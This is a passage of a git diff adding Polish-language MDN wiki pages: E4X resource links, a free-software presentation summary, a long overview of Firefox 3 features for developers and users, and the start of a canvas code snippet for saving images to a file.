+<h3 id="Zasoby" name="Zasoby"> Zasoby </h3>
+<ul><li> <a href="pl/Przewodnik_po_E4X">Przewodnik po E4X</a>
+</li><li> Zobacz listę stron związanych z <a>E4X</a> na MDC.
+</li><li> <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-357.htm">Standard ECMA-357</a>
+</li><li> <a class="external" href="http://developer.mozilla.org/presentations/xtech2005/e4x/">Prezentacja Brendana</a>
+</li><li> <a class="external" href="http://www.faqts.com/knowledge_base/index.phtml/fid/1762">E4X na faqts.com</a>
+</li><li> <a class="external" href="http://rephrase.net/days/07/06/e4x">krótka dokumentacja E4X na rephrase.net</a>
+</li></ul>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/E4X", "es": "es/E4X", "fr": "fr/E4X", "it": "it/E4X", "ja": "ja/E4X", "ko": "ko/E4X" } ) }}
diff --git a/files/pl/firefox_-_potrzeba_wolności/index.html b/files/pl/firefox_-_potrzeba_wolności/index.html
new file mode 100644
index 0000000000..9cf6dddce2
--- /dev/null
+++ b/files/pl/firefox_-_potrzeba_wolności/index.html
@@ -0,0 +1,21 @@
+---
+title: Firefox - potrzeba wolności
+slug: Firefox_-_potrzeba_wolności
+tags:
+ - Prezentacje
+ - Wszystkie_kategorie
+---
+<p>
+</p>
+<h3 id="Prezentacja" name="Prezentacja"> Prezentacja </h3>
+<ul><li> <a class="external" href="http://www.e-gandalf.net/mozilla/pres/floswadm/">Pokaż</a>
+</li><li> <a class="external" href="http://www.e-gandalf.net/mozilla/pres/floswadm.zip">Pobierz</a>
+</li></ul>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Ta prezentacja, przygotowana na potrzeby konferencji <a class="external" href="http://www.isoc.org.pl/2005/woadm/">Wolne Oprogramowanie w Administracji Publicznej</a>, tłumaczy potrzebę korzystania z wolnych standardów jako wymogu dobrze zaplanowanego zamówienia publicznego lub przetargu na system informatyczny.
+Opisuje wykorzystanie krytycznie ważnych aplikacji użytkownika, takich jak przeglądarka internetowa, klient poczty czy komunikator i rolę jaką w ich rozwoju odgrywa wolne oprogramowanie.
+Na przykładzie rynku przeglądarek i roli jaką odgrywa Firefox, autor pokazuje ukryte koszty i problemy jakie są zagrożeniem dla każdego projektu rozwijanego na bazie standardów własnościowych.
+</p>
+<h3 id="Pytania_i_dyskusja" name="Pytania_i_dyskusja"> Pytania i dyskusja </h3>
+<p><a>"Firefox_-_potrzeba_wolności" - Dyskusja</a>
+</p>
diff --git a/files/pl/firefox_3_dla_programistów/index.html b/files/pl/firefox_3_dla_programistów/index.html
new file mode 100644
index 0000000000..80ffaf8dba
--- /dev/null
+++ b/files/pl/firefox_3_dla_programistów/index.html
@@ -0,0 +1,279 @@
+---
+title: Firefox 3 dla programistów
+slug: Firefox_3_dla_programistów
+tags:
+ - Firefox 3
+---
+<p>Jeżeli jesteś programistą chcącym opanować nowe możliwości Firefoksa 3, strona ta jest idealnym punktem startowym — znajdziesz tu listę artykułów opisujących nowości wprowadzone w przeglądarce. Choć nie wymieniono tu wszystkich zmian, wspomniane są wszystkie najważniejsze wprowadzone poprawki.</p>
+
+<h3 id="Nowe_mo.C5.BCliwo.C5.9Bci_dla_programist.C3.B3w_w_Firefoksie_3" name="Nowe_mo.C5.BCliwo.C5.9Bci_dla_programist.C3.B3w_w_Firefoksie_3">Nowe możliwości dla programistów w Firefoksie 3</h3>
+
+<h4 id="Dla_programist.C3.B3w_stron_i_aplikacji_internetowych" name="Dla_programist.C3.B3w_stron_i_aplikacji_internetowych">Dla programistów stron i aplikacji internetowych</h4>
+
+<dl>
+ <dt><a href="/pl/Aktualizacja_aplikacji_internetowych_dla_Firefoksa_3" title="pl/Aktualizacja_aplikacji_internetowych_dla_Firefoksa_3">Aktualizacja aplikacji internetowych dla Firefoksa 3</a></dt>
+ <dd>Artykuł zawiera informacje o zmianach, których wprowadzenie może się okazać niezbędne, aby w witrynie lub aplikacji internetowej można było w pełni wykorzystać nowe funkcje Firefoksa 3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Zdarzenia_online_i_offline" title="pl/Zdarzenia_online_i_offline">Zdarzenia online i offline</a></dt>
+ <dd>Program Firefox 3 obsługuje określone w specyfikacji WHATWG zdarzenia online i offline, które umożliwiają aplikacjom i rozszerzeniom wykrycie, czy dostępne jest aktywne połączenie z Internetem, a także stwierdzenie przerwania lub wznowienia tego połączenia.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Obs%C5%82uga_protoko%C5%82%C3%B3w_przez_aplikacje_WWW" title="pl/Obsługa_protokołów_przez_aplikacje_WWW">Obsługa protokołów przez aplikacje WWW</a></dt>
+ <dd>Aplikacje internetowe można teraz zarejestrować jako funkcje obsługi protokołów, korzystając z metody <code><a href="/pl/DOM/window.navigator.registerProtocolHandler" title="pl/DOM/window.navigator.registerProtocolHandler">navigator.registerProtocolHandler()</a></code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Rysowanie_tekstu_przy_u%C5%BCyciu_canvas" title="pl/Rysowanie_tekstu_przy_użyciu_canvas">Rysowanie tekstu przy użyciu <code>canvas</code></a></dt>
+ <dd>Możliwe jest rysowanie tekstu w elemencie <code>canvas</code> za pomocą niestandardowego interfejsu API obsługiwanego przez program Firefox 3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Przewodnik_po_canvas/Transformacje#Transformacje" title="pl/Przewodnik_po_canvas/Transformacje#Transformacje">Obsługa transformacji w elemencie <code>canvas</code></a></dt>
+ <dd>Firefox obsługuje teraz metody <code>transform()</code> i <code>setTransform()</code> elementu <code>canvas</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Zastosowanie_mikroformat%C3%B3w" title="pl/Zastosowanie_mikroformatów">Zastosowanie mikroformatów</a></dt>
+ <dd>W Firefoksie 3 dostępny jest teraz interfejs API do pracy z mikroformatami.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Zdarzenia_przeci%C4%85gania_i_upuszczania" title="pl/Zdarzenia_przeciągania_i_upuszczania">Zdarzenia przeciągania i upuszczania</a></dt>
+ <dd>Program Firefox 3 obsługuje nowe zdarzenia wysyłane do węzła źródłowego podczas operacji przeciągania (przy rozpoczęciu i zakończeniu przeciągania).</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Zarz%C4%85dzanie_fokusem_w_HTML" title="pl/Zarządzanie_fokusem_w_HTML">Zarządzanie fokusem w HTML</a></dt>
+ <dd>Obsługiwane są atrybuty <code>activeElement</code> i <code>hasFocus</code> zdefiniowane w specyfikacji HTML 5.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Zasoby_offline_w_Firefoksie" title="pl/Zasoby_offline_w_Firefoksie">Zasoby offline w Firefoksie</a></dt>
+ <dd>Aplikacje internetowe mogą teraz przechowywać zasoby w pamięci podręcznej programu Firefox, co pozwala na korzystanie z tych aplikacji w trybie offline.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Poprawki_CSS_w_Firefoksie_3" title="pl/Poprawki_CSS_w_Firefoksie_3">Poprawki CSS w Firefoksie 3</a></dt>
+ <dd>W programie Firefox 3 wprowadzono wiele udoskonaleń w obsłudze arkuszy stylów CSS.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Poprawki_DOM_w_Firefoksie_3" title="pl/Poprawki_DOM_w_Firefoksie_3">Poprawki DOM w Firefoksie 3</a></dt>
+ <dd>W programie Firefox 3 obsługiwanych jest wiele nowych funkcji DOM, w tym niektóre rozszerzenia DOM dostępne w przeglądarce Internet Explorer.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Nowo%C5%9Bci_w_JavaScript_1.8" title="pl/Nowości_w_JavaScript_1.8">Obsługa JavaScript 1.8</a></dt>
+ <dd>W programie Firefox 3 wprowadzono obsługę języka JavaScript w wersji 1.8.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/EXSLT" title="pl/EXSLT">Obsługa EXSLT</a></dt>
+ <dd>W programie Firefox 3 obsługiwana jest znaczna część pakietów <a href="/pl/EXSLT" title="pl/EXSLT">EXSLT</a>, stanowiących rozszerzenia języka <a href="/pl/XSLT" title="pl/XSLT">XSLT</a>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Poprawki_SVG_w_Firefoksie_3" title="pl/Poprawki_SVG_w_Firefoksie_3">Poprawki SVG w Firefoksie 3</a></dt>
+ <dd>Obsługa formatu SVG w Firefoksie 3 została w znacznym stopniu zaktualizowana — dostępnych jest między innymi ponad dwadzieścia nowych filtrów, a także nowe elementy i atrybuty.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Animowane_grafiki_PNG" title="pl/Animowane_grafiki_PNG">Animowane grafiki PNG</a></dt>
+ <dd>Firefox 3 obsługuje format animowanych obrazków PNG (APNG).</dd>
+</dl>
+
+<h4 id="Dla_programist.C3.B3w_XUL_i_rozszerze.C5.84" name="Dla_programist.C3.B3w_XUL_i_rozszerze.C5.84">Dla programistów XUL i rozszerzeń</h4>
+
+<h5 id="Znacz.C4.85ce_zmiany_i_udoskonalenia" name="Znacz.C4.85ce_zmiany_i_udoskonalenia">Znaczące zmiany i udoskonalenia</h5>
+
+<dl>
+ <dt><a href="/pl/Aktualizacja_rozszerze%C5%84_dla_Firefoksa_3" title="pl/Aktualizacja_rozszerzeń_dla_Firefoksa_3">Aktualizacja rozszerzeń dla Firefoksa 3</a></dt>
+ <dd>Przewodnik zawierający wszelkie potrzebne informacje dotyczące aktualizacji rozszerzenia w celu dostosowania go do Firefoksa 3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Poprawki_XUL_w_Firefoksie_3" title="pl/Poprawki_XUL_w_Firefoksie_3">Poprawki XUL w Firefoksie 3</a></dt>
+ <dd>W programie Firefox 3 dostępnych jest wiele nowych elementów XUL, w tym suwaki do skalowania, okienka z kalendarzami umożliwiającymi ustawianie daty i godziny oraz przyciski strzałek służące do zwiększania i zmniejszania wprowadzonej wartości.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Szablony_w_Firefoksie_3" title="pl/Szablony_w_Firefoksie_3">Szablony w Firefoksie 3</a></dt>
+ <dd>Szablony zostały znacząco ulepszone. Kluczowe udoskonalenie polega na możliwości zastosowania własnych procesorów zapytań, co pozwala na korzystanie ze źródeł danych innych niż RDF.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Rozszerzenia/numery_wersji,_aktualizacja_i_zgodno%C5%9B%C4%87#Bezpieczne_aktualizacje" title="pl/Rozszerzenia/numery_wersji,_aktualizacja_i_zgodność#Bezpieczne_aktualizacje">Bezpieczne aktualizacje</a></dt>
+ <dd>Aby uaktualnianie dodatków było bardziej bezpieczne, wszystkie instalowane dodatki muszą obsługiwać bezpieczną metodę pobierania aktualizacji. Dodatki udostępniane w witrynie <a class="external" href="http://addons.mozilla.org">addons.mozilla.org</a> są wyposażone w tę funkcjonalność automatycznie. Wszystkie zainstalowane dodatki, które nie obsługuję bezpiecznej metody aktualizacji, zostaną automatycznie wyłączone po dokonaniu uaktualnienia do programu Firefox 3. Program Firefox będzie jednak nadal sprawdzał dostępność aktualizacji tych rozszerzeń (korzystając z niezabezpieczonej metody) i podejmował próbę ich zainstalowania (przy czym instalacja nie powiedzie się, jeżeli pobierana aktualizacja nie będzie obsługiwać bezpiecznej metody aktualizacji).</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Miejsca/Przewodnik_po_migracji" title="pl/Miejsca/Przewodnik_po_migracji">Miejsca: przewodnik dla przeprowadzających migrację</a></dt>
+ <dd>Artykuł dotyczący aktualizacji istniejących rozszerzeń w celu przystosowania ich do interfejsu API Miejsc.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Poprawki_Mened%C5%BCera_pobierania_plik%C3%B3w_w_Firefoksie_3" title="pl/Poprawki_Menedżera_pobierania_plików_w_Firefoksie_3">Poprawki Menedżera pobierania plików w Firefoksie 3</a></dt>
+ <dd>W Menedżerze pobierania plików programu Firefox 3 wprowadzono nowe i udoskonalono istniejące interfejsy API, w tym obsługę wielu funkcji sprawdzających postęp pobierania.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Zastosowanie_interfejsu_nsILoginManager" title="pl/Zastosowanie_interfejsu_nsILoginManager">Zastosowanie interfejsu nsILoginManager</a></dt>
+ <dd>Menedżer haseł został zastąpiony nowym Menedżerem logowania.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/XBL/Dokumentacja_XBL_1.0/Elementy#binding" title="pl/XBL/Dokumentacja_XBL_1.0/Elementy#binding">Zagnieżdżanie wiązań XBL</a></dt>
+ <dd>Za pomocą schematu URL <code>data:</code> możliwe jest teraz bezpośrednie zagnieżdżanie wiązań XBL zamiast przechowywania ich w osobnych plikach XML.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Lokalizacja_opisu_rozszerzenia" title="pl/Lokalizacja_opisu_rozszerzenia">Lokalizacja opisu rozszerzenia</a></dt>
+ <dd>W programie Firefox 3 dostępna jest nowa metoda lokalizacji metadanych dodatków. Zlokalizowane wersje tych danych dostępne są zaraz po pobraniu dodatku, jak również w razie wyłączenia go.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Lokalizacja_i_liczba_mnoga" title="pl/Lokalizacja_i_liczba_mnoga">Lokalizacja i liczba mnoga</a></dt>
+ <dd>W programie Firefox 3 dodano nowy moduł PluralForm, wspomagający prawidłowe tworzenie form liczby mnogiej słów w wielu wersjach językowych.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Zmiany_w_motywie_Firefoksa_3" title="pl/Zmiany_w_motywie_Firefoksa_3">Zmiany w motywie Firefoksa 3</a></dt>
+ <dd>Informacje i notatki dla osób tworzących motywy dla Firefoksa 3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Motywy_i_Firefox_3" title="pl/Motywy_i_Firefox_3">Motywy i Firefox 3</a></dt>
+ <dd>Uwagi i informacje dla osób chcących tworzyć motywy dla Firefoksa 3.</dd>
+</dl>
+
+<h5 id="Nowe_sk.C5.82adniki_i_funkcje" name="Nowe_sk.C5.82adniki_i_funkcje">Nowe składniki i funkcje</h5>
+
+<dl>
+ <dt><a href="/pl/FUEL" title="pl/FUEL">Biblioteka FUEL</a></dt>
+ <dd>Biblioteka FUEL zwiększa produktywność programistów rozszerzeń dzięki zmniejszeniu niedogodności wynikających z formalnego charakteru modelu XPCOM oraz wprowadzeniu niektórych nowoczesnych sposobów zastosowania języka JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Miejsca" title="pl/Miejsca">Miejsca</a></dt>
+ <dd>API historii i zakładek zostało całkowicie zastąpione nowym API <a href="/pl/Miejsca" title="pl/Miejsca">Miejsc</a>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/NsIIdleService" title="pl/NsIIdleService">Usługa stanu bezczynności</a></dt>
+ <dd>W programie Firefox 3 dostępny jest nowy interfejs {{ Interface("nsIIdleService") }}, za pomocą którego można określić upływ czasu od ostatniego naciśnięcia klawisza lub przesunięcia kursora myszy przez użytkownika.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/Pl/NsIZipWriter" title="Pl/NsIZipWriter">Kreator archiwów ZIP</a></dt>
+ <dd>Nowy interfejs {{ Interface("nsIZipWriter") }} umożliwia tworzenie archiwów ZIP przez rozszerzenia.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Powi%C4%99kszanie_ca%C5%82ych_stron" title="pl/Powiększanie_całych_stron">Powiększanie całych stron</a></dt>
+ <dd>Obsługa programu Firefox 3 jest łatwiejsza dzięki możliwości powiększania całych stron, a nie jedynie tekstu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Korzystanie_z_cyklicznego_mechanizmu_zbierania_w_XPCOM" title="pl/Korzystanie_z_cyklicznego_mechanizmu_zbierania_w_XPCOM">Korzystanie z cyklicznego mechanizmu zbierania w XPCOM</a></dt>
+ <dd>W kodzie XPCOM można teraz korzystać z cyklicznego mechanizmu zbierania, który zwalnia nieużywaną pamięć, nie dopuszczając do jej wyciekania.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/Pl/Mened%C5%BCer_w%C4%85tk%C3%B3w" title="Pl/Menedżer_wątków">Menedżer wątków</a></dt>
+ <dd>W programie Firefox 3 dostępny jest nowy interfejs {{ Interface("nsIThreadManager") }}, a także nowe interfejsy wątków i zdarzeń związanych z wątkami, które stanowią łatwą metodę tworzenia wątków i zarządzania nimi.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Modu%C5%82y_JavaScript" title="pl/Moduły_JavaScript">Moduły JavaScript</a></dt>
+ <dd>W programie Firefox 3 dostępny jest nowy mechanizm udostępniania modułów kodu, umożliwiający tworzenie modułów JavaScript, które mogą być następnie ładowane przez rozszerzenia i aplikacje (podobnie jak współużytkowanie biblioteki).</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/NsIJSON" title="pl/NsIJSON">Interfejs <code>nsIJSON</code></a></dt>
+ <dd>W programie Firefox 3 dostępny jest nowy interfejs {{ Interface("nsIJSON") }}, umożliwiający wysoko wydajne kodowanie i dekodowanie ciągów znaków w formacie <a href="/pl/JSON" title="pl/JSON">JSON</a>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/Pl/Zastosowanie_preferencji_dotycz%C4%85cych_tre%C5%9Bci" title="Pl/Zastosowanie_preferencji_dotyczących_treści">Zastosowanie preferencji dotyczących treści</a></dt>
+ <dd>W programie Firefox 3 dodano nową usługę umożliwiającą pobieranie i ustawianie preferencji dotyczących określonych stron. Dane te mogą zostać wykorzystane w rozszerzeniach (a także w głównym kodzie) w celu śledzenia preferencji użytkownika dotyczących poszczególnych stron.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/Pl/Monitorowanie_wtyczek" title="Pl/Monitorowanie_wtyczek">Monitorowanie wtyczek</a></dt>
+ <dd>Nowy komponent systemu wtyczek może teraz obliczać ile zajmuje każdej z wtyczek (n.p., Macromedia Flash) wykonanie swoich wywołań.</dd>
+</dl>
+
+<h5 id="Poprawione_b.C5.82.C4.99dy" name="Poprawione_b.C5.82.C4.99dy">Poprawione błędy</h5>
+
+<dl>
+ <dt><a href="/pl/Istotne_b%C5%82%C4%99dy_poprawione_w_Firefoksie_3" title="pl/Istotne_błędy_poprawione_w_Firefoksie_3">Istotne błędy poprawione w Firefoksie 3</a></dt>
+ <dd>Artykuł zawiera informacje o błędach, które zostały poprawione w Firefoksie 3.</dd>
+</dl>
+
+<h3 id="Nowe_cechy_istotne_dla_u.C5.BCytkownik.C3.B3w_ko.C5.84cowych" name="Nowe_cechy_istotne_dla_u.C5.BCytkownik.C3.B3w_ko.C5.84cowych">Nowe cechy istotne dla użytkowników końcowych</h3>
+
+<h4 id="Obs.C5.82uga_programu" name="Obs.C5.82uga_programu">Obsługa programu</h4>
+
+<ul>
+ <li><strong>Łatwiejsze zarządzanie hasłami.</strong> U góry okna przeglądarki jest teraz wyświetlany pasek informacyjny, umożliwiający zapisanie hasła po udanym zalogowaniu w witrynie internetowej.</li>
+ <li><strong>Uproszczona instalacja dodatków.</strong> Rozszerzenia pobierane ze stron innych producentów można teraz zainstalować szybciej dzięki usunięciu listy dozwolonych witryn pobierania dodatków.</li>
+ <li><strong>Nowy menedżer pobierania.</strong> Menedżer pobierania ułatwia znalezienie pobranych plików.</li>
+ <li><strong>Wznawianie pobierania.</strong> Pobieranie plików można teraz wznowić po ponownym uruchomieniu przeglądarki lub po zresetowaniu ustawień połączenia sieciowego.</li>
+ <li><strong>Powiększanie całych stron.</strong> Za pomocą poleceń menu Widok lub skrótów klawiaturowych można teraz powiększać i pomniejszać całą treść stron — skalowany jest nie tylko tekst, lecz także układ strony i grafika.</li>
+ <li><strong>Przewijanie kart i menu podręczne.</strong> Dzięki nowej funkcji przewijania kart oraz menu podręcznemu można teraz szybciej przemieszczać się między kartami.</li>
+ <li><strong>Zapisywanie bieżącej sesji.</strong> Przy zamykaniu programu Firefox 3 wyświetlany jest monit z pytaniem o zapisanie otwartych kart.</li>
+ <li><strong>Zoptymalizowanie działanie polecenia Otwórz wszystkie w kartach.</strong> Po otworzeniu folderu zakładek w kartach do okna przeglądarki są teraz dodawane nowe karty zamiast zastępowania istniejących kart.</li>
+ <li><strong>Łatwiejsza zmiana rozmiaru paska adresu i paska wyszukiwania.</strong> Rozmiary paska adresu i paska wyszukiwania można teraz zmienić w łatwy sposób, korzystając z umieszczonego między nimi uchwytu zmiany rozmiaru.</li>
+ <li><strong>Usprawnienia funkcji zaznaczania tekstu.</strong> Można teraz zaznaczyć jednocześnie wiele fragmentów tekstu, korzystając z klawisza Control (Command na komputerach Macintosh). Dwukrotne kliknięcie tekstu i przeciąganie kursora powoduje teraz zaznaczanie tekstu w trybie „słowo po słowie”. Trzykrotne kliknięcie powoduje zaznaczenie całego akapitu.</li>
+ <li><strong>Pasek narzędzi Znajdź.</strong> Po otwarciu paska narzędzi Znajdź jest w nim automatycznie wyświetlany bieżąco zaznaczony tekst.</li>
+ <li><strong>Zarządzanie wtyczkami.</strong> Poszczególne wtyczki można teraz wyłączyć w oknie Menedżera dodatków.</li>
+ <li><strong>Integracja z systemem Windows Vista.</strong> Menu programu Firefox są teraz wyświetlane przy użyciu motywu systemu Vista.</li>
+ <li><strong>Integracja z systemem Mac OS X.</strong> W programie Firefox obsługiwany jest program <a class="external" href="http://growl.info/">Growl</a>, powiadamiający o ukończeniu pobierania plików oraz dostępnych aktualizacjach.</li>
+ <li><strong>Przycisk gwiazdy.</strong> Umieszczony w pasku adresu nowy przycisk gwiazdy umożliwia szybkie utworzenie nowej zakładki za pomocą jednego kliknięcia. Kolejne kliknięcie pozwala na umieszczenie zakładki w odpowiednim folderze i przypisanie do niej słów kluczowych.</li>
+ <li><strong>Etykiety.</strong> Do zakładek można teraz przypisać słowa kluczowe, co umożliwia posortowanie ich tematycznie.</li>
+ <li><strong>Pasek adresu i automatyczne uzupełnianie.</strong> Aby szybko wyszukać stronę w historii i zakładkach, wystarczy wpisać jej tytuł lub słowo kluczowe w pasku adresu. Ikony stron oraz wskaźniki zakładek i etykiet umożliwiają łatwe zidentyfikowanie pochodzenia każdego z wyników wyszukiwania.</li>
+ <li><strong>Folder Inteligentne zakładki.</strong> Nowy folder Inteligentne zakładki umożliwia szybki dostęp do stron ostatnio dodanych do zakładek oraz do ostatnio używanych etykiet, a także do często odwiedzanych stron.</li>
+ <li><strong>Organizator zakładek i historii.</strong> Nowy, ujednolicony organizator zakładek i historii umożliwia łatwe przeszukiwanie historii odwiedzonych stron i zakładek; dostępnych jest wiele widoków oraz inteligentne foldery, w których można zapisać często przeprowadzane wyszukiwania.</li>
+ <li><strong>Obsługa protokołów przez aplikacje internetowe.</strong> Do obsługi odnośników <code>mailto:</code> mogą być teraz używane aplikacje internetowe, takie jak internetowe programy pocztowe (webmail), a nie tylko programy dostępne w systemie operacyjnym. W podobny sposób są obsługiwane także inne protokoły. (Uwaga: poszczególne aplikacje internetowe muszą zostać uprzednio zarejestrowane w programie Firefox).</li>
+ <li><strong>Łatwa konfiguracja obsługi pobieranych plików.</strong> Interfejs użytkownika nowego panelu Aplikacje w oknie preferencji umożliwia konfigurowanie obsługi różnych typów plików i schematów protokołów.</li>
+ <li><strong>Poprawiony wygląd programu.</strong> Poprawiona obsługa grafiki i czcionek sprawia, że strony wyglądają ładniej — tekst jest wyraźniejszy, a czcionki z ligaturami i złożonymi skryptami są teraz lepiej obsługiwane. Ponadto w systemach Mac i Linux (Gnome) program Firefox jest znacznie lepiej dostosowany do standardów wyglądu aplikacji obowiązujących w przypadku danej platformy.</li>
+ <li><strong>Obsługa zarządzania kolorem.</strong> Po ustawieniu preferencji <code>gfx.color_management.enabled</code> w oknie <code>{{ mediawiki.external('about:config') }}</code> profile kolorów osadzone w plikach graficznych będą wykorzystywane do dostosowania kolorów do używanego monitora.</li>
+ <li><strong>Obsługa trybu offline.</strong> Twórcy aplikacji internetowych mogą skorzystać z nowych funkcji trybu offline, aby umożliwić korzystanie ze swoich programów nawet w sytuacji braku połączenia z Internetem.</li>
+</ul>
+
+<h4 id="Bezpiecze.C5.84stwo_i_prywatno.C5.9B.C4.87" name="Bezpiecze.C5.84stwo_i_prywatno.C5.9B.C4.87">Bezpieczeństwo i prywatność</h4>
+
+<ul>
+ <li><strong>Informacje o witrynie dostępne za pomocą jednego kliknięcia.</strong> Chcesz dowiedzieć się więcej o witrynie, którą oglądasz? Kliknij ikonę witrynie w pasku adresu, aby sprawdzić, kto jest jej właścicielem. Informacje są wyświetlane w przejrzysty i czytelny sposób.</li>
+ <li><strong>Ochrona przed destrukcyjnym oprogramowaniem.</strong> W przypadku odwiedzenia witryny znanej jako źródło wirusów, programów typu „spyware”, koni trojańskich i innych niebezpiecznych programów (tzw. oprogramowania destrukcyjnego —<em>malware</em>) w programie Firefox 3 wyświetlane jest ostrzeżenie. Aby obejrzeć przykładowe ostrzeżenie, <a class="link-https" href="https://www.mozilla.com/firefox/its-an-attack.html">kliknij tutaj</a>.</li>
+ <li><strong>Rozszerzona ochrona przed sfałszowanymi witrynami.</strong> Gdy odwiedzisz witrynę, co do której istnieją podejrzenia, że jest sfałszowana, zamiast podejrzanej treści wyświetlana jest specjalna strona z ostrzeżeniem. <a class="link-https" href="https://www.mozilla.com/firefox/its-a-trap.html">Kliknij tutaj</a>, aby obejrzeć ostrzeżenie.</li>
+ <li><strong>Bardziej czytelne opisy błędów protokołu SSL.</strong> Komunikaty o błędach wyświetlane w przypadku nieprawidłowego certyfikatu SSL są bardziej czytelne, co pozwala uzyskać więcej informacji na temat problemu, który wystąpił.</li>
+ <li><strong>Ochrona przed nieaktualnymi dodatkami.</strong> Program Firefox 3 automatycznie sprawdza dodatki i wtyczki, wyłączając ich starsze, niezabezpieczone wersje.</li>
+ <li><strong>Bezpieczne aktualizacje dodatków.</strong> Bezpieczeństwo aktualizacji dodatków zostało zwiększone — twórcy dodatków są teraz zobowiązani do udostępnienia bezpiecznego mechanizmu aktualizacji.</li>
+ <li><strong>Integracja z oprogramowaniem antywirusowym.</strong> Program Firefox 3 przesyła teraz informacje o pobieranych plikach wykonywalnych do oprogramowania antywirusowego.</li>
+ <li><strong>Obsługa funkcji kontroli rodzicielskiej w systemie Windows Vista.</strong> Program Firefox 3 obsługuje dostępne w systemie Vista ustawienia kontroli rodzicielskiej, umożliwiające zablokowanie pobierania plików.</li>
+</ul>
+
+<h4 id="Wydajno.C5.9B.C4.87" name="Wydajno.C5.9B.C4.87">Wydajność</h4>
+
+<ul>
+ <li><strong>Niezawodność.</strong> W programie Firefox 3 zakładki, historia, pliki cookie oraz preferencje są teraz przechowywane w bezpiecznym formacie bazy danych obsługującej transakcje. Oznacza to, że dane użytkownika są chronione nawet w przypadku awarii systemu.</li>
+ <li><strong>Szybkość.</strong> W programie Firefox 3 osiągnięto znaczny przyrost wydajności przez całkowite przeprojektowanie części oprogramowania wyświetlającej treść na ekranie oraz obsługującej układ strony.</li>
+ <li><strong>Zmniejszone zużycie pamięci.</strong> Program Firefox 3 jest najbardziej wydajną wersją aplikacji pod względem zużycia pamięci — naprawiono ponad 300 błędów polegających na „wycieku” pamięci, a także dodano nowe funkcje umożliwiające automatyczne zlokalizowanie i wyczyszczenie nieużywanych bloków pamięci.</li>
+</ul>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<ul>
+ <li><a href="pl/Aktualizacja_aplikacji_internetowych_dla_Firefoksa_3">Aktualizacja aplikacji internetowych dla Firefoksa 3</a></li>
+ <li><a href="pl/Aktualizacja_rozszerze%c5%84_dla_Firefoksa_3">Aktualizacja rozszerzeń dla Firefoksa 3</a></li>
+ <li><a href="pl/Firefox_2_dla_programist%c3%b3w">Firefox 2 dla programistów</a></li>
+ <li><a href="pl/Firefox_1.5_dla_programist%c3%b3w">Firefox 1.5 dla programistów</a></li>
+</ul>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/Firefox_3_for_developers", "es": "es/Firefox_3_para_desarrolladores", "fr": "fr/Firefox_3_pour_les_d\u00e9veloppeurs", "ja": "ja/Firefox_3_for_developers", "ko": "ko/Firefox_3_for_developers", "pt": "pt/Firefox_3_para_desenvolvedores", "zh-tw": "zh_tw/Firefox_3_for_developers" } ) }}</p>
diff --git a/files/pl/fragmenty_kodu/canvas/index.html b/files/pl/fragmenty_kodu/canvas/index.html
new file mode 100644
index 0000000000..b2aedad20e
--- /dev/null
+++ b/files/pl/fragmenty_kodu/canvas/index.html
@@ -0,0 +1,50 @@
+---
+title: Canvas
+slug: Fragmenty_kodu/Canvas
+tags:
+ - HTML
+ - 'HTML:Canvas'
+ - Wszystkie_kategorie
+translation_of: Archive/Add-ons/Code_snippets/Canvas
+---
+<p>
+</p><p>Ogólne informacje o używaniu <code>&lt;canvas&gt;</code> znajdują się w <a href="pl/Przewodnik_po_canvas">przewodniku</a>.
+</p>
+<h3 id="Zapisywanie_obrazu_canvas_do_pliku">Zapisywanie obrazu canvas do pliku</h3>
+<p>Poniższa funkcja akceptuje obiekt canvas i ścieżkę pliku docelowego. Canvas jest konwertowany do pliku PNG i jest zapisywany do określonej lokalizacji. Funkcja wyświetla okno procesu pobierania plików, lecz okno może być usunięte.
+</p>
+<pre>function saveCanvas(canvas, destFile) {
+ // konwertuje łańcuch znaków ścieżki pliku string do nsIFile
+ var file = Components.classes["@mozilla.org/file/local;1"]
+ .createInstance(Components.interfaces.nsILocalFile);
+ file.initWithPath(destFile);
+
+ // stwórz adres url danych z canvas, a następnie stwórz URI źródła i celu
